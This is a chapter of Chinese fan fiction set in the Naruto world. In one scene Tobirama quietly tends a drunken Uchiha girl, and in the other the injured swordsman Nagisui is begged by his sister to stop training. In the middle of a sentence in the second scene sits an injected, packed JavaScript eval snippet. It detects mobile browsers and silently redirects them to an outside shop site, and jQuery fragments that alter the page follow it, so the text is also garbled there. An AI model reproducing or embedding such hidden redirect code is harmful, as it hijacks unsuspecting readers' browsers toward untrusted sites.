自己到底是怎么了?
扉间的右手仍旧轻轻覆在千岁温的肌肤上,心绪纷乱如麻。
他微微俯身,本是想拾起散落蜷在少女身侧的羽织,好好替她盖上。抬手扯过羽织的瞬间,两人之间的距离骤然缩减至咫尺之内。
昏暖的灯火落在少女面上,他下意识垂眸,眼前这幅从未细看过的模样撞入眼中。
不似以往标志性的金发,柔顺黑发铺散在榻榻米上,愈发衬得她肌肤白皙剔透。醉酒染透的红晕迟迟不散,浅浅覆在颊边,褪去了往日的跳脱,平添几分温顺柔软。
这是他此生第一次,如此近距离地端详她的面容。
心底无端翻涌的慌乱、胸腔里不断加速的心跳律动,是他活了这么多年、惯于冷静自持的人生里,从未体会过的陌生感觉。
咫尺相贴的距离里,少女鼻尖淡淡的酒气轻轻萦绕,拂在扉间的眉眼之间。身体深处升起一股从未有过的异样躁动,平稳落在她肌肤上的手掌,竟难以抑制地微微发颤。
够了。
不能再这样下去。
千手扉间回神,瞬间清醒。
此刻两人姿态过分暧昧,早已失了分寸。
不成体统。
他迅速敛尽纷乱心神,抬手将羽织稳稳拉展开,严严实实地覆在少女身上。紧接着,他缓缓收回自己微微发颤的右手,抽离那片让他方寸尽失的温度。
待气息稍定,他重新于掌心凝聚起温热的查克拉,隔着厚实的羽织,轻轻覆在她胃脘不适的位置,稳稳替她舒缓酒后灼痛。
这是他人生第一次清晰感知到,自己心底盘踞多年的理智,濒临破碎的边缘。
体内翻涌的冲动汹涌而灼热,像是要彻底冲破他常年恪守的规矩、隐忍与冷静。他无比清楚,只需再往前半步,维持一生的理性自持、底线分寸,便会被彻底撕碎,溃不成军。
扉间微微垂眼,低声深呼吸,不断逼迫自己平复胸腔翻涌的波澜。
她出身宇智波,与千手世代为敌,这般无端滋生的心思从一开始便注定毫无归宿。
慌乱与悸动,全都是因为这张面庞在作祟,不过是睹人思故、被过往执念蒙蔽了心神。
他一遍又一遍用这个理由自我宽慰、麻痹心绪,拼命将心底突如其来的情愫归类成对故人的投射。
可唯有自己清楚,这份心口发烫、理智飘摇的悸动,即便是当年杏奈尚在身旁朝夕相伴的岁月里,他也从未生出过这般失控纷乱、险些冲破自持底线的异样心绪。
刻意的自我说服显得单薄无力,纷乱的心绪依旧在胸腔里挥之不去。
这不是他该有的情绪。
这份灼热的心动,只是错觉。
不该滋生,不该沉沦。
更是绝无可能。
不知静坐消磨了多少时辰,桌边那一壶清酒,大半尽数入了扉间腹中。
千岁伏在矮桌上安睡,身上妥帖裹着他那件羽织,胸膛随均匀的呼吸缓缓起伏,睡得安稳沉静。扉间独坐对面席上,一言不发,默然相伴。
不知柱间在日向那边的宴席是否已然落幕。
目光落向桌上剩余大半的草莓大福,白日里千岁哭诉被斑逐出族地、栖身桥洞的话语再度浮现耳畔。
细想,就知道番说辞处处透着敷衍。
肯定是随口编造用来蒙骗自己的谎话。
昔日宇智波斑独闯千手族地,专程将千岁接回的画面历历在目,更何况如今她的万花筒写轮眼,是宇智波一族不可或缺的重要战力,斑绝无可能放任她孤身流落市井、四处乞讨度日。
“这位大人,小店即将打烊了。”
门外传来轻叩门板的声响,店家推门走入内室,轻声提醒。
扉间抬眼,从容拢了拢衣襟袖口:
“知道了。片刻便下楼结账。”
店家躬身退去,包厢重新安静下来。
扉间望着酣睡不醒的少女无奈轻叹,怎么睡得这般沉熟。
本打算出声将人唤醒,话到唇边却骤然顿住,一时竟不知该如何唤她。
往日同旁人提起,他素来随口唤她宇智波小鬼,先前在雷之国相处时,也以杏奈的名字唤她。
他从来没有认认真真,亲口叫过她的本名。
不知道如何开口,这份难以言说别扭,让他无法平和的喊出这个敌对族群少女的名字。
想来,也只是普通的名字罢了,和斑,泉奈并未有不同。
“千岁。”
低沉平缓的嗓音在包厢里落下,如同方才在心底无处安放、渐渐归于沉寂的纷乱心绪,轻飘飘落了空。
伏案熟睡的少女分毫未动,没有听见。
扉间静默片刻,低咳两声调整气息,稍稍抬高声调再次开口:
“千岁,该醒了。”
话音落下,千岁才慢悠悠动了动身子,昏沉地抬起脑袋,抬手揉着惺忪睡眼。
视线落在身上披着的羽织,她微微一顿,随口嘟囔:“谁不要的衣服扔在我身上?”
熟悉的腔调入耳,扉间心头那股无奈又暗自憋闷的感觉再度袭来。
这种语气就对了。
看样子她酒意已然醒了大半。
“走吧。”
二人一前一后踏出酒馆院门,千岁手里还拎着店家打包妥当、没能吃完的草莓大福。夜色漫卷街巷,不远处灯火晕开暖黄光晕,一道熟悉的身影静静伫立。
是千手柱间。
千岁连忙把落在手边的斗笠重新戴好,帽檐压得极低,牢牢遮去大半面容。唇边的假胡子早前便被扉间摘除,借着沉沉夜色,旁人很难辨认出她原本的样貌。
“扉间,日向族长原本特意备下晚宴等候你赴席。”
柱间迈步上前,目光自然而然从扉间身上,落向他身后身形纤细的人影,眼底掠过一丝好奇。
“大哥,让你久等了。”
扉间从容应声,清晰捕捉到兄长探究的视线,淡淡随口解释,
“路上偶遇一名流落的老者,闲谈投缘,便多耽搁了一阵。”
拾荒老者,手里却提着草莓大福,这般怪异的组合,柱间活了这么多年,还是头一回撞见。奈何他直率豁达,半点没有起疑,兴致盎然地提议:
“能和扉间投缘也算难得,不如这位老人家随我们回千手族地歇歇脚?”
听见邀约,千岁瞬间慌了神,赶忙佝偻身子弯下腰,刻意捏着粗哑的嗓音磕磕绊绊推脱:
“老夫……腰又疼了……告辞了!”
说罢她一手虚扶后腰,装出步履踉跄的模样匆匆转身离开。
柱间望着她仓促远去的背影,暗自暗自诧异,瞧着一副年迈体虚的样子,逃跑的腿脚倒是利落迅捷。
扉间目送那道身影融进浓稠夜色、彻底消失不见,方才在酒馆里翻腾躁动、险些溃决理智的满腔心绪,被他深埋心底,再也不外露分毫。
收拾妥当心神后,他恢复往日清冷神态,对着身旁的柱间低声道:“走吧。”
宇智波凪水宅邸
月色冷白,洒在宅邸的后院空地上。
少年身着常服袴衣,领口随意微敞,胸膛层层缠绕的白色纱布在清冷月光下格外刺眼,隐约透出底下未愈的伤势。
腰间双太刀悬垂,其中一柄已然出鞘。
空寂的庭院里,只剩凪水反复挥刀的破风声响。
一刀,再一刀。
他机械般重复着刻入骨髓的剑术招式,每一次劈斩都倾尽所能。
不行。
无论是出刀的速度、发力的劲道,都远远不及巅峰之时。
自鬼塚一战重伤后,他便被迫长期养伤,屡屡搁置族中任务与前线战事。日复一日的休养,早已让他跟不上前线的节奏,照这样下去,在以战力论生存的宇智波,他终将彻底失去立足之地。
胸腔剧烈起伏,紊乱的呼吸压不住心底翻涌的不甘。
凪水沉下心,再度架起持刀起手式。
生于乱世,身为宇智波的,倘若彻底失去战斗的能力,他存在的意义,便等同于彻底清零。
他咬紧牙关,倾尽浑身查克拉涌向双手,欲完成一记完整的剑式。可就在查克拉凝聚的瞬间,脊背旧伤骤然传来一阵撕裂般的刺痛。
查克拉瞬间紊乱,胸口猛地一窒,浓郁的血腥味顺着喉咙直冲而上。
少年呼吸骤然急促,剧烈的咳嗽猝然爆发,一口猩红的鲜血不受控制地咳出。他身形不稳,踉跄着半跪在地,温热的鲜血顺着鼻腔不断滴落。
旧伤未愈,新损叠加,浑身脱力,连抬手的力气都几乎被抽空。
不行……还远远不够。
夜风拂动他凌乱的黑发,明明身躯早已濒临极限,心底的执念却执拗不肯认输。凪水咬牙,撑着地面想要重新起身,再度握住那柄太刀。
“够了!!”
一声哽咽的怒斥骤然划破庭院。
少年身形一僵,蓦然回眸。
廊下的彩子早已伫立许久。她静静看着他一遍遍强忍伤痛挥剑,看着他呕血踉跄、狼狈跪地,看着他明明痛到极致,却依旧不肯认输、不肯停歇的倔强模样,心底的隐忍彻底崩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587711|203075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
裂。
彩子快步冲进院中,冲到他身前,望着他唇角未干的血迹与苍白如纸的面容,积压已久的情绪彻底决堤。
“我早就说过……不要再碰刀!你为什么永远这么倔强!!”
滚烫的泪水瞬间涌落眼眶,顺着脸颊肆意滑落。
凪水望着她泛红的眼眶与汹涌的泪水,眼底翻涌着化不开的隐忍与不甘,指尖缓缓收力,将出鞘的太刀利落归刃。
他声音低沉沙哑,带着强行的平静:
“我的身体,已经好得差不多了。”
这句话,彻底击溃了彩子最后的底线。
“凪水……你还要骗自己到什么时候!”
少年失语,下意识垂眸偏开视线,不敢直视她的眼眸。
彩子抬手取出随身的干净手帕,小心翼翼抬起他的下颌,替他擦拭唇角、下颌沾染的血迹。指尖触到他微凉的肌肤,看着他深蓝色眼眸里散不去的不甘,满心酸涩无处安放。
“我自己来就好。”
凪水轻声开口,伸手接过她的手帕,独自擦拭残血。
彩子松开手,抬手狼狈抹掉不断滚落的泪水:
“凪水……就算你不去前线、不参与族务厮杀,我们三个人也能在这个地方好好活下去……”
温柔的恳求裹挟着满心的疼惜,过往零碎的回忆瞬间涌上凪水心头。
自他母亲离世后,年少的他便带着年幼的纯子辗转战国乱世,颠沛流离、居无定所。后来他遇见了那位传授他毕生剑术的男人,对方收留了颠沛流离的他们,给了他和纯子一个安稳的家。他打心底将对方视作继父,视作唯一的归处。
也是在那段岁月里,他们遇见了战乱中孤苦无依的彩子,将她一同收留。
那位男人离世后,无依无靠的三人,便以兄妹相称,彼此依靠,在残酷的乱世里相互取暖、相依为命。
回忆翻涌不休,凪水眉心紧紧蹙起。
他抬眸望着泪眼婆娑的彩子,顿了顿,才缓缓开口:
“……你知道的,在宇智波,对族群没有任何贡献的人,下场从来都只有一个。”
这是是弱肉强食的残酷世道。
宇智波前线族人拼死厮杀,不止是为族群荣耀、氏族征伐,更是为了换取后方族人的安稳存续,守护家中的亲人、妇孺与弱小。
族中资源、居所、温饱、俸禄,从来只赏赐给有功之人。那些无人庇护、无法参战、没有战力贡献的族人,得不到半点资源接济,无粮可食,最终只能在乱世之中冻饿而亡。
这些,彩子比谁都清楚。
她和纯子能安稳隐居在后方宅邸,远离战乱屠戮,衣食无忧、平安度日,全部都是凪水数年如一日,在前线以命搏杀、浴血奋战换来的安稳。
“就算不去前线也没关系的!”
彩子用力摇头,泪水不停坠落,带着孤注一掷的执拗,
“我们三个人的开销根本不大,我可以去闹市摆摊商贩……足够温饱了……”
她所求的不过是寻常安稳。
不过是想日日看见纯子在庭院追逐蝴蝶、嬉笑打闹,想傍晚看凪水安然倚在廊下休憩,一家人平平淡淡、平安相守,仅此而已。
“凪水……你的身体……早就撑不住再上前线了!”
彩子抬眸死死望着他,眼底满是绝望,可少年深蓝色的眼眸沉静冰冷,没有半分动容和妥协。
“我的身体,我自己心里有数。”
凪水低声回应,指尖微微一动,下意识再度伸向腰间的太刀。
冰冷的刀刃,是乱世之中唯一能给予他安全感的归属,更是他身为宇智波仅存的尊严。
“姐姐求你了……别再这样了……”
彩子一把上前,狠狠的抱住了凪水。
凪水一愣,视线垂落,看见彩子抱着他的手臂微微颤抖。
“求你了……活下去……”
活下去。
彩子希望自己活下去。
希望自己所在乎之人活下去,如此理所应当的事情,为何……她却不懂……
千岁那一日的话语重新出现在自己耳畔。
「別在掺和我的事了。」
「凪水这样,只会让我觉得困扰。」
过往的酸涩心绪缠上心头,凪水沉默垂眸,指尖原本死死攥紧刀柄的力道一点点散去,缓缓松开了腰间太刀。
他抬手轻扶彩子肩头,慢慢将相拥的两人分开些许距离,深蓝的眼眸敛去方才练剑时的执拗锋芒。
“我知道了,今夜,我不再练就是了。”